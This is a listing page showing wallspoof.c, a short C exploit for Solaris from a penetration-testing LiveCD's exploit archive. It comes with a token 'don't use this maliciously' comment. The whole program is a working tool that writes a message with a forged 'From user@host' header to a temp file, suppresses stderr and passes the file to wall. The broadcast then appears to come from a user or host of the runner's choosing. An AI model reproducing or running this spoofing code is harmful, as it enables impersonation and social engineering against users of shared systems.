home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / wallspoof.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  776b  |  33 lines

  1. /*
  2.  wallspoof.c - SOLARIS (X86/SPARC) Exploit
  3.  Don't use this in a malicious way! (i.e. to own people)
  4.  */
  5. #include <stdio.h>
  6. #include <unistd.h>
  7. #include <stdlib.h>
  8.  
  9. int main(int argc, char **argv)
  10. {
  11.   char *userhost;
  12.   char mesg[2050];
  13.   FILE *tmp;
  14.   if (argc < 2) {
  15.     fprintf (stderr, "usage: wallspoof user@host\n");
  16.     exit (-1);
  17.   }
  18.   userhost = argv[1];
  19.   if ((tmp = fopen("/tmp/rxax", "w")) == NULL) {
  20.     perror ("open");
  21.     exit (-1);
  22.   }
  23.   printf ("Enter your message below.  End your message with an EOF (Control+D).\n");
  24.   fprintf (tmp, "From %s:", userhost);
  25.   while (fgets(mesg, 2050, stdin) != NULL)
  26.     fprintf (tmp, "%s", mesg);
  27.   fclose (tmp);
  28.   fclose (stderr);
  29.   printf ("<Done>\n");
  30.   system ("/usr/sbin/wall < /tmp/rxax");
  31.   unlink ("/tmp/rxax");
  32. }
  33.